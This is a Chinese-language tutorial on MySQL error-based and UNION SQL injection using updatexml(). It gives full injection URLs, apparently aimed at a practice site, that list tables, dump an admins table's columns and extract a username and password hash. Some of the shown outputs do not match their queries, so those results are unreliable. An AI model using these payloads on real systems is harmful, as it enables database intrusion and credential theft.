报错注入要了解的mysql中相关的函数,其中常用的有 floor(),updatexml(),extractvalue()
如果想了解更多报错函数,请点击
https://www.nvhack.com/forum.php?mod=viewthread&tid=206&highlight=mysql
首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
解析演示
http://www.nanhack.com/payload/sql/error.php?id=1 and updatexml(1,concat(0x23,database(),0x23),3)
#得到表名 admin_logs,admins,class,facebook,kaiban,message,news,user
爆表 admins 中的所有列
http://www.nanhack.com/payload/sql/char.php?id=-1' UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 from information_schema.columns where table_schema=database() and table_name='admins'--+
# 得到 列名 id,username,userpwd,email,sex,money,role,vip
获取 admins 中的一条数据
http://www.nanhack.com/payload/sql/char.php?id=-1' UNION SELECT 1,concat(username,0x23,userpwd),3,4,5,6,7,8 from admins limit 0,1--+
# 得到数据 必火网络安全#68d7e8e91c53395e3d29a938c1ab5d18